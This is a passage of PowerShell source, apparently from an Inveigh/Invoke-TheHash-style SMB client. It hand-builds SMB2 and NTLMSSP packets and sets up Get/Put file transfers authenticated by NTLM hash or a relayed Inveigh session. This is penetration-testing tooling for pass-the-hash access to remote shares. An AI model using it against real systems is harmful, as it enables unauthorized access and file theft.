$SMB2NegotiateProtocolRequest.Add("Reserved",[Byte[]](0x00,0x00)) - $SMB2NegotiateProtocolRequest.Add("Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) - $SMB2NegotiateProtocolRequest.Add("ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $SMB2NegotiateProtocolRequest.Add("NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2NegotiateProtocolRequest.Add("NegotiateContextCount",[Byte[]](0x00,0x00)) - $SMB2NegotiateProtocolRequest.Add("Reserved2",[Byte[]](0x00,0x00)) - $SMB2NegotiateProtocolRequest.Add("Dialect",[Byte[]](0x02,0x02)) - $SMB2NegotiateProtocolRequest.Add("Dialect2",[Byte[]](0x10,0x02)) - - return $SMB2NegotiateProtocolRequest -} - -function New-PacketSMB2SessionSetupRequest -{ - param([Byte[]]$SecurityBlob) - - [Byte[]]$security_buffer_length = ([System.BitConverter]::GetBytes($SecurityBlob.Length))[0,1] - - $SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2SessionSetupRequest.Add("StructureSize",[Byte[]](0x19,0x00)) - $SMB2SessionSetupRequest.Add("Flags",[Byte[]](0x00)) - $SMB2SessionSetupRequest.Add("SecurityMode",[Byte[]](0x01)) - $SMB2SessionSetupRequest.Add("Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2SessionSetupRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2SessionSetupRequest.Add("SecurityBufferOffset",[Byte[]](0x58,0x00)) - $SMB2SessionSetupRequest.Add("SecurityBufferLength",$security_buffer_length) - $SMB2SessionSetupRequest.Add("PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $SMB2SessionSetupRequest.Add("Buffer",$SecurityBlob) - - return $SMB2SessionSetupRequest -} - -function New-PacketSMB2TreeConnectRequest -{ - param([Byte[]]$Buffer) - - [Byte[]]$path_length = ([System.BitConverter]::GetBytes($Buffer.Length))[0,1] - - $SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2TreeConnectRequest.Add("StructureSize",[Byte[]](0x09,0x00)) - $SMB2TreeConnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) - $SMB2TreeConnectRequest.Add("PathOffset",[Byte[]](0x48,0x00)) - $SMB2TreeConnectRequest.Add("PathLength",$path_length) - $SMB2TreeConnectRequest.Add("Buffer",$Buffer) - - return $SMB2TreeConnectRequest -} - -function New-PacketSMB2CreateRequest -{ - param([Byte[]]$FileName,[Int]$ExtraInfo,[Int64]$AllocationSize) - - if($FileName) - { - $file_name_length = [System.BitConverter]::GetBytes($FileName.Length) - $file_name_length = $file_name_length[0,1] - } - else - { - $FileName = 0x00,0x00,0x69,0x00,0x6e,0x00,0x64,0x00 - $file_name_length = 0x00,0x00 - } - - if($ExtraInfo) - { - [Byte[]]$desired_access = 0x80,0x00,0x10,0x00 - [Byte[]]$file_attributes = 0x00,0x00,0x00,0x00 - [Byte[]]$share_access = 0x00,0x00,0x00,0x00 - [Byte[]]$create_options = 0x21,0x00,0x00,0x00 - [Byte[]]$create_contexts_offset = [System.BitConverter]::GetBytes($FileName.Length) - - if($ExtraInfo -eq 1) - { - [Byte[]]$create_contexts_length = 0x58,0x00,0x00,0x00 - } - elseif($ExtraInfo -eq 2) - { - [Byte[]]$create_contexts_length = 0x90,0x00,0x00,0x00 - } - else - { - [Byte[]]$create_contexts_length = 0xb0,0x00,0x00,0x00 - [Byte[]]$allocation_size_bytes = [System.BitConverter]::GetBytes($AllocationSize) - } - - if($FileName) - { - - [String]$file_name_padding_check = $FileName.Length / 8 - - if($file_name_padding_check -like "*.75") - { - $FileName += 0x04,0x00 - } - elseif($file_name_padding_check -like "*.5") - { - $FileName += 0x00,0x00,0x00,0x00 - } - elseif($file_name_padding_check -like "*.25") - { - $FileName += 0x00,0x00,0x00,0x00,0x00,0x00 - } - - } - - [Byte[]]$create_contexts_offset = [System.BitConverter]::GetBytes($FileName.Length + 120) - - } - else - { - [Byte[]]$desired_access = 0x03,0x00,0x00,0x00 - [Byte[]]$file_attributes = 0x80,0x00,0x00,0x00 - [Byte[]]$share_access = 0x01,0x00,0x00,0x00 - [Byte[]]$create_options = 0x40,0x00,0x00,0x00 - [Byte[]]$create_contexts_offset = 0x00,0x00,0x00,0x00 - [Byte[]]$create_contexts_length = 0x00,0x00,0x00,0x00 - } - - $SMB2CreateRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2CreateRequest.Add("StructureSize",[Byte[]](0x39,0x00)) - $SMB2CreateRequest.Add("Flags",[Byte[]](0x00)) - $SMB2CreateRequest.Add("RequestedOplockLevel",[Byte[]](0x00)) - $SMB2CreateRequest.Add("Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) - $SMB2CreateRequest.Add("SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $SMB2CreateRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $SMB2CreateRequest.Add("DesiredAccess",$desired_access) - $SMB2CreateRequest.Add("FileAttributes",$file_attributes) - $SMB2CreateRequest.Add("ShareAccess",$share_access) - $SMB2CreateRequest.Add("CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00)) - $SMB2CreateRequest.Add("CreateOptions",$create_options) - $SMB2CreateRequest.Add("NameOffset",[Byte[]](0x78,0x00)) - $SMB2CreateRequest.Add("NameLength",$file_name_length) - $SMB2CreateRequest.Add("CreateContextsOffset",$create_contexts_offset) - $SMB2CreateRequest.Add("CreateContextsLength",$create_contexts_length) - $SMB2CreateRequest.Add("Buffer",$FileName) - - if($ExtraInfo) - { - $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_ChainOffset",[Byte[]](0x28,0x00,0x00,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Tag_Offset",[Byte[]](0x10,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Data_Offset",[Byte[]](0x18,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Data_Length",[Byte[]](0x10,0x00,0x00,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Tag",[Byte[]](0x44,0x48,0x6e,0x51)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementDHnQ_Data_GUIDHandle",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - - if($ExtraInfo -eq 3) - { - $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_ChainOffset",[Byte[]](0x20,0x00,0x00,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Tag_Offset",[Byte[]](0x10,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Data_Offset",[Byte[]](0x18,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Data_Length",[Byte[]](0x08,0x00,0x00,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Tag",[Byte[]](0x41,0x6c,0x53,0x69)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementAlSi_AllocationSize",$allocation_size_bytes) - } - - $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_ChainOffset",[Byte[]](0x18,0x00,0x00,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Tag_Offset",[Byte[]](0x10,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Data_Offset",[Byte[]](0x18,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Data_Length",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Tag",[Byte[]](0x4d,0x78,0x41,0x63)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementMxAc_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) - - if($ExtraInfo -gt 1) - { - $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_ChainOffset",[Byte[]](0x18,0x00,0x00,0x00)) - } - else - { - $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_ChainOffset",[Byte[]](0x00,0x00,0x00,0x00)) - } - - $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Tag_Offset",[Byte[]](0x10,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Data_Offset",[Byte[]](0x18,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Data_Length",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Tag",[Byte[]](0x51,0x46,0x69,0x64)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementQFid_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) - - if($ExtraInfo -gt 1) - { - $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_ChainOffset",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Tag_Offset",[Byte[]](0x10,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Tag_Length",[Byte[]](0x04,0x00,0x00,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Offset",[Byte[]](0x18,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Length",[Byte[]](0x20,0x00,0x00,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Tag",[Byte[]](0x52,0x71,0x4c,0x73)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) - - if($ExtraInfo -eq 2) - { - $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_Key",[Byte[]](0x10,0xb0,0x1d,0x02,0xa0,0xf8,0xff,0xff,0x47,0x78,0x67,0x02,0x00,0x00,0x00,0x00)) - } - else - { - $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_Key",[Byte[]](0x10,0x90,0x64,0x01,0xa0,0xf8,0xff,0xff,0x47,0x78,0x67,0x02,0x00,0x00,0x00,0x00)) - } - - $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_State",[Byte[]](0x07,0x00,0x00,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_Flags",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2CreateRequest.Add("ExtraInfo_ChainElementRqLs_Data_Lease_Duration",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - } - - } - - return $SMB2CreateRequest -} - -function New-PacketSMB2FindRequestFile -{ - param ([Byte[]]$FileID,[Byte[]]$Padding) - - $SMB2FindRequestFile = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2FindRequestFile.Add("SMB2FindRequestFile_StructureSize",[Byte[]](0x21,0x00)) - $SMB2FindRequestFile.Add("SMB2FindRequestFile_InfoLevel",[Byte[]](0x25)) - $SMB2FindRequestFile.Add("SMB2FindRequestFile_Flags",[Byte[]](0x00)) - $SMB2FindRequestFile.Add("SMB2FindRequestFile_FileIndex",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2FindRequestFile.Add("SMB2FindRequestFile_FileID",$FileID) - $SMB2FindRequestFile.Add("SMB2FindRequestFile_SearchPattern_Offset",[Byte[]](0x60,0x00)) - $SMB2FindRequestFile.Add("SMB2FindRequestFile_SearchPattern_Length",[Byte[]](0x02,0x00)) - $SMB2FindRequestFile.Add("SMB2FindRequestFile_OutputBufferLength",[Byte[]](0x00,0x00,0x01,0x00)) - $SMB2FindRequestFile.Add("SMB2FindRequestFile_SearchPattern",[Byte[]](0x2a,0x00)) - - if($padding) - { - $SMB2FindRequestFile.Add("SMB2FindRequestFile_Padding",$Padding) - } - - return $SMB2FindRequestFile -} - -function New-PacketSMB2QueryInfoRequest -{ - param ([Byte[]]$InfoType,[Byte[]]$FileInfoClass,[Byte[]]$OutputBufferLength,[Byte[]]$InputBufferOffset,[Byte[]]$FileID,[Int]$Buffer) - - [Byte[]]$buffer_bytes = ,0x00 * $Buffer - - $SMB2QueryInfoRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2QueryInfoRequest.Add("StructureSize",[Byte[]](0x29,0x00)) - $SMB2QueryInfoRequest.Add("InfoType",$InfoType) - $SMB2QueryInfoRequest.Add("FileInfoClass",$FileInfoClass) - $SMB2QueryInfoRequest.Add("OutputBufferLength",$OutputBufferLength) - $SMB2QueryInfoRequest.Add("InputBufferOffset",$InputBufferOffset) - $SMB2QueryInfoRequest.Add("Reserved",[Byte[]](0x00,0x00)) - $SMB2QueryInfoRequest.Add("InputBufferLength",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2QueryInfoRequest.Add("AdditionalInformation",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2QueryInfoRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2QueryInfoRequest.Add("FileID",$FileID) - - if($Buffer -gt 0) - { - $SMB2QueryInfoRequest.Add("Buffer",$buffer_bytes) - } - - return $SMB2QueryInfoRequest -} - -function New-PacketSMB2ReadRequest -{ - param ([Byte[]]$FileID) - - $SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2ReadRequest.Add("StructureSize",[Byte[]](0x31,0x00)) - $SMB2ReadRequest.Add("Padding",[Byte[]](0x50)) - $SMB2ReadRequest.Add("Flags",[Byte[]](0x00)) - $SMB2ReadRequest.Add("Length",[Byte[]](0x00,0x00,0x10,0x00)) - $SMB2ReadRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $SMB2ReadRequest.Add("FileID",$FileID) - $SMB2ReadRequest.Add("MinimumCount",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2ReadRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2ReadRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2ReadRequest.Add("ReadChannelInfoOffset",[Byte[]](0x00,0x00)) - $SMB2ReadRequest.Add("ReadChannelInfoLength",[Byte[]](0x00,0x00)) - $SMB2ReadRequest.Add("Buffer",[Byte[]](0x30)) - - return $SMB2ReadRequest -} - -function New-PacketSMB2WriteRequest -{ - param([Byte[]]$FileID,[Int]$RPCLength) - - [Byte[]]$write_length = [System.BitConverter]::GetBytes($RPCLength) - - $SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2WriteRequest.Add("StructureSize",[Byte[]](0x31,0x00)) - $SMB2WriteRequest.Add("DataOffset",[Byte[]](0x70,0x00)) - $SMB2WriteRequest.Add("Length",$write_length) - $SMB2WriteRequest.Add("Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $SMB2WriteRequest.Add("FileID",$FileID) - $SMB2WriteRequest.Add("Channel",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2WriteRequest.Add("RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2WriteRequest.Add("WriteChannelInfoOffset",[Byte[]](0x00,0x00)) - $SMB2WriteRequest.Add("WriteChannelInfoLength",[Byte[]](0x00,0x00)) - $SMB2WriteRequest.Add("Flags",[Byte[]](0x00,0x00,0x00,0x00)) - - return $SMB2WriteRequest -} - -function New-PacketSMB2CloseRequest -{ - param ([Byte[]]$FileID) - - $SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2CloseRequest.Add("StructureSize",[Byte[]](0x18,0x00)) - $SMB2CloseRequest.Add("Flags",[Byte[]](0x00,0x00)) - $SMB2CloseRequest.Add("Reserved",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2CloseRequest.Add("FileID",$FileID) - - return $SMB2CloseRequest -} - -function New-PacketSMB2TreeDisconnectRequest -{ - $SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2TreeDisconnectRequest.Add("StructureSize",[Byte[]](0x04,0x00)) - $SMB2TreeDisconnectRequest.Add("Reserved",[Byte[]](0x00,0x00)) - - return $SMB2TreeDisconnectRequest -} - -function New-PacketSMB2SessionLogoffRequest -{ - $SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2SessionLogoffRequest.Add("StructureSize",[Byte[]](0x04,0x00)) - $SMB2SessionLogoffRequest.Add("Reserved",[Byte[]](0x00,0x00)) - - return $SMB2SessionLogoffRequest -} - -function New-PacketSMB2IoctlRequest() -{ - param([Byte[]]$FileName) - - $file_name_length = [System.BitConverter]::GetBytes($FileName.Length + 2) - - $packet_SMB2IoctlRequest = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SMB2IoctlRequest.Add("StructureSize",[Byte[]](0x39,0x00)) - $packet_SMB2IoctlRequest.Add("Reserved",[Byte[]](0x00,0x00)) - $packet_SMB2IoctlRequest.Add("Function",[Byte[]](0x94,0x01,0x06,0x00)) - $packet_SMB2IoctlRequest.Add("GUIDHandle",[Byte[]](0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff)) - $packet_SMB2IoctlRequest.Add("InData_Offset",[Byte[]](0x78,0x00,0x00,0x00)) - $packet_SMB2IoctlRequest.Add("InData_Length",$file_name_length) - $packet_SMB2IoctlRequest.Add("MaxIoctlInSize",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2IoctlRequest.Add("OutData_Offset",[Byte[]](0x78,0x00,0x00,0x00)) - $packet_SMB2IoctlRequest.Add("OutData_Length",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2IoctlRequest.Add("MaxIoctlOutSize",[Byte[]](0x00,0x10,0x00,0x00)) - $packet_SMB2IoctlRequest.Add("Flags",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_SMB2IoctlRequest.Add("Unknown",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SMB2IoctlRequest.Add("InData_MaxReferralLevel",[Byte[]](0x04,0x00)) - $packet_SMB2IoctlRequest.Add("InData_FileName",$FileName) - - return $packet_SMB2IoctlRequest -} - -function New-PacketSMB2SetInfoRequest -{ - param ([Byte[]]$InfoType,[Byte[]]$FileInfoClass,[Byte[]]$FileID,[Byte[]]$Buffer) - - [Byte[]]$buffer_length = [System.BitConverter]::GetBytes($Buffer.Count) - - $SMB2SetInfoRequest = New-Object System.Collections.Specialized.OrderedDictionary - $SMB2SetInfoRequest.Add("StructureSize",[Byte[]](0x21,0x00)) - $SMB2SetInfoRequest.Add("InfoType",$InfoType) - $SMB2SetInfoRequest.Add("FileInfoClass",$FileInfoClass) - $SMB2SetInfoRequest.Add("BufferLength",$buffer_length) - $SMB2SetInfoRequest.Add("BufferOffset",[Byte[]](0x60,0x00)) - $SMB2SetInfoRequest.Add("Reserved",[Byte[]](0x00,0x00)) - $SMB2SetInfoRequest.Add("AdditionalInformation",[Byte[]](0x00,0x00,0x00,0x00)) - $SMB2SetInfoRequest.Add("FileID",$FileID) - $SMB2SetInfoRequest.Add("Buffer",$Buffer) - - return $SMB2SetInfoRequest -} - -#NTLM - -function New-PacketNTLMSSPNegotiate -{ - param([Byte[]]$NegotiateFlags,[Byte[]]$Version) - - [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($Version.Length + 32))[0] - [Byte[]]$ASN_length_1 = $NTLMSSP_length[0] + 32 - [Byte[]]$ASN_length_2 = $NTLMSSP_length[0] + 22 - [Byte[]]$ASN_length_3 = $NTLMSSP_length[0] + 20 - [Byte[]]$ASN_length_4 = $NTLMSSP_length[0] + 2 - - $NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary - $NTLMSSPNegotiate.Add("InitialContextTokenID",[Byte[]](0x60)) - $NTLMSSPNegotiate.Add("InitialcontextTokenLength",$ASN_length_1) - $NTLMSSPNegotiate.Add("ThisMechID",[Byte[]](0x06)) - $NTLMSSPNegotiate.Add("ThisMechLength",[Byte[]](0x06)) - $NTLMSSPNegotiate.Add("OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) - $NTLMSSPNegotiate.Add("InnerContextTokenID",[Byte[]](0xa0)) - $NTLMSSPNegotiate.Add("InnerContextTokenLength",$ASN_length_2) - $NTLMSSPNegotiate.Add("InnerContextTokenID2",[Byte[]](0x30)) - $NTLMSSPNegotiate.Add("InnerContextTokenLength2",$ASN_length_3) - $NTLMSSPNegotiate.Add("MechTypesID",[Byte[]](0xa0)) - $NTLMSSPNegotiate.Add("MechTypesLength",[Byte[]](0x0e)) - $NTLMSSPNegotiate.Add("MechTypesID2",[Byte[]](0x30)) - $NTLMSSPNegotiate.Add("MechTypesLength2",[Byte[]](0x0c)) - $NTLMSSPNegotiate.Add("MechTypesID3",[Byte[]](0x06)) - $NTLMSSPNegotiate.Add("MechTypesLength3",[Byte[]](0x0a)) - $NTLMSSPNegotiate.Add("MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) - $NTLMSSPNegotiate.Add("MechTokenID",[Byte[]](0xa2)) - $NTLMSSPNegotiate.Add("MechTokenLength",$ASN_length_4) - $NTLMSSPNegotiate.Add("NTLMSSPID",[Byte[]](0x04)) - $NTLMSSPNegotiate.Add("NTLMSSPLength",$NTLMSSP_length) - $NTLMSSPNegotiate.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) - $NTLMSSPNegotiate.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) - $NTLMSSPNegotiate.Add("NegotiateFlags",$NegotiateFlags) - $NTLMSSPNegotiate.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $NTLMSSPNegotiate.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - - if($Version) - { - $NTLMSSPNegotiate.Add("Version",$Version) - } - - return $NTLMSSPNegotiate -} - -function New-PacketNTLMSSPAuth -{ - param([Byte[]]$NTLMResponse) - - [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($NTLMResponse.Length))[1,0] - [Byte[]]$ASN_length_1 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 12))[1,0] - [Byte[]]$ASN_length_2 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 8))[1,0] - [Byte[]]$ASN_length_3 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 4))[1,0] - - $NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary - $NTLMSSPAuth.Add("ASNID",[Byte[]](0xa1,0x82)) - $NTLMSSPAuth.Add("ASNLength",$ASN_length_1) - $NTLMSSPAuth.Add("ASNID2",[Byte[]](0x30,0x82)) - $NTLMSSPAuth.Add("ASNLength2",$ASN_length_2) - $NTLMSSPAuth.Add("ASNID3",[Byte[]](0xa2,0x82)) - $NTLMSSPAuth.Add("ASNLength3",$ASN_length_3) - $NTLMSSPAuth.Add("NTLMSSPID",[Byte[]](0x04,0x82)) - $NTLMSSPAuth.Add("NTLMSSPLength",$NTLMSSP_length) - $NTLMSSPAuth.Add("NTLMResponse",$NTLMResponse) - - return $NTLMSSPAuth -} - -function Get-UInt16DataLength -{ - param ([Int]$Start,[Byte[]]$Data) - - $data_length = [System.BitConverter]::ToUInt16($Data[$Start..($Start + 1)],0) - - return $data_length -} - -if($Modify -and $Action -eq 'Put' -and $Source -isnot [Byte[]]) -{ - $output_message = "[-] Source must be a byte array when using -Modify" - $startup_error = $true -} -elseif((!$Modify -and $Source -isnot [String]) -or ($Modify -and $Action -ne 'Put' -and $Source -isnot [String])) -{ - $output_message = "[-] Source must be a string" - $startup_error = $true -} -elseif($Source -is [String]) -{ - $source = $Source.Replace('.\','') -} - -if($PSBoundParameters.ContainsKey('Session')) -{ - $inveigh_session = $true -} - -if($PSBoundParameters.ContainsKey('Session')) -{ - - if(!$Inveigh) - { - Write-Output "[-] Inveigh Relay session not found" - $startup_error = $true - } - elseif(!$inveigh.session_socket_table[$session].Connected) - { - Write-Output "[-] Inveigh Relay session not connected" - $startup_error = $true - } - -} - -$destination = $Destination.Replace('.\','') - -if($hash -like "*:*") -{ - $hash = $hash.SubString(($hash.IndexOf(":") + 1),32) -} - -if($Domain) -{ - $output_username = $Domain + "\" + $Username -} -else -{ - $output_username = $Username -} - -$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id -$process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) -[Byte[]]$process_ID = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - -if(!$inveigh_session) -{ - $client = New-Object System.Net.Sockets.TCPClient - $client.Client.ReceiveTimeout = 30000 -} - -$action_step = 0 - -if($Action -ne 'Put') -{ - $source = $source.Replace('\\','') - $source_array = $source.Split('\') - $target = $source_array[0] - $share = $source_array[1] - $source_subdirectory_array = $source.ToCharArray() - [Array]::Reverse($source_subdirectory_array) - $source_file = -join($source_subdirectory_array) - $source_file = $source_file.SubString(0,$source_file.IndexOf('\')) - $source_file_array = $source_file.ToCharArray() - [Array]::Reverse($source_file_array) - $source_file = -join($source_file_array) - $target_share = "\\$target\$share" -} - -switch($Action) -{ - - 'Get' - { - - if(!$Modify) - { - - if($destination -and $destination -like '*\*') - { - $destination_file_array = $destination.ToCharArray() - [Array]::Reverse($destination_file_array) - $destination_file = -join($destination_file_array) - $destination_file = $destination_file.SubString(0,$destination_file.IndexOf('\')) - $destination_file_array = $destination_file.ToCharArray() - [Array]::Reverse($destination_file_array) - $destination_file = -join($destination_file_array) - $destination_path = $destination - } - elseif($destination) - { - - if(Test-Path (Join-Path $PWD $destination)) - { - $output_message = "[-] Destination file already exists" - $startup_error = $true - } - else - { - $destination_path = Join-Path $PWD $destination - } - - } - else - { - - if(Test-Path (Join-Path $PWD $source_file)) - { - $output_message = "[-] Destination file already exists" - $startup_error = $true - } - else - { - $destination_path = Join-Path $PWD $source_file - } - - } - - } - else - { - $file_memory = New-Object System.Collections.ArrayList - } - - } - - 'Put' - { - - if(!$Modify) - { - - if($source -notlike '*\*') - { - $source = Join-Path $PWD $source - } - - if(Test-Path $source) - { - [Int64]$source_file_size = (Get-Item $source).Length - $source_file = $source - - if($source_file_size -gt 65536) - { - $source_file_size_quotient = [Math]::Truncate($source_file_size / 65536) - $source_file_size_remainder = $source_file_size % 65536 - $source_file_buffer_size = 65536 - } - else - { - $source_file_buffer_size = $source_file_size - } - - $source_file_properties = Get-ItemProperty -path $source_file - $source_file_creation_time = $source_file_properties.CreationTime.ToFileTime() - $source_file_creation_time = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($source_file_creation_time)) - $source_file_creation_time = $source_file_creation_time.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $source_file_last_access_time = $source_file_properties.LastAccessTime.ToFileTime() - $source_file_last_access_time = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($source_file_last_access_time)) - $source_file_last_access_time = $source_file_last_access_time.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $source_file_last_write_time = $source_file_properties.LastWriteTime.ToFileTime() - $source_file_last_write_time = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($source_file_last_write_time)) - $source_file_last_write_time = $source_file_last_write_time.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $source_file_last_change_time = $source_file_last_write_time - $source_file_buffer = new-object byte[] $source_file_buffer_size - $source_file_stream = new-object IO.FileStream($source_file,[System.IO.FileMode]::Open) - $source_file_binary_reader = new-object IO.BinaryReader($source_file_stream) - } - else - { - $output_message = "[-] File not found" - $startup_error = $true - } - - } - else - { - - [Int64]$source_file_size = $Source.Count - - if($source_file_size -gt 65536) - { - $source_file_size_quotient = [Math]::Truncate($source_file_size / 65536) - $source_file_size_remainder = $source_file_size % 65536 - $source_file_buffer_size = 65536 - } - else - { - $source_file_buffer_size = $source_file_size - } - - } - - $destination = $destination.Replace('\\','') - $destination_array = $destination.Split('\') - $target = $destination_array[0] - $share = $destination_array[1] - $destination_file_array = $destination.ToCharArray() - [Array]::Reverse($destination_file_array) - $destination_file = -join($destination_file_array) - $destination_file = $destination_file.SubString(0,$destination_file.IndexOf('\')) - $destination_file_array = $destination_file.ToCharArray() - [Array]::Reverse($destination_file_array) - $destination_file = -join($destination_file_array) - } - -} - -if($Action -ne 'Put') -{ - - if($source_array.Count -gt 2) - 